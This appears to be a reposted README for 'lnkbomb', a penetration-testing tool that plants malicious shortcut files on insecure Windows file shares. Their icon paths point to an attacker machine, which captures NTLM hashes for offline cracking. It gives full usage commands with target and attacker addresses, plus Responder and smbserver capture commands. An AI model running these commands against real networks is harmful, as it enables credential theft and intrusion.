lnkbomb: Malicious shortcut generator for collecting NTLM hashes

Lnkbomb

Lnkbomb is used for uploading malicious shortcut files to insecure file shares. The vulnerability exists due to Windows looking for an icon file to associate with the shortcut file. This icon file can be directed to a penetration tester’s machine running Responder or smbserver to gather NTLMv1 or NTLMv2 hashes (depending on the configuration of the victim host machine). The tester can then attempt to crack those collected hashes offline with a tool like Hashcat.

The payload file is uploaded directly to the insecure file specified by the tester in the command line. The tester includes their IP address as well, which is written into the payload.

Install

Note that the project works consistently in Windows. It may have issues in Linux.

git clone https://github.com/dievus/lnkbomb.git

Use

python3 lnkbomb.py -h

This will output the help menu, which contains the following flags:

-h, –help – Lists the help options

-t, –target – Specifies the target file share (ex. -t \\192.168.1.1\Share)

-a, –attacker – Specifies the tester’s attack machine (ex. -a 192.168.1.2)

-r, –recover – Used to remove the payload when testing is completed (ex. -r randomfilegenerated.recover)

Examples of full commands include:

python3 lnkbomb.py -t \\192.168.1.1\Share -a 192.168.1.2

python3 lnkbomb.py -r randomfilegenerated.recover

You will need to utilize a tool like Responder or smbserver to capture the NTLM hash.

responder -I eth0 -dwf -v

or

smbserver.py . . -smb2support

Copyright (c) 2022 Joe Helle

Source: https://github.com/dievus/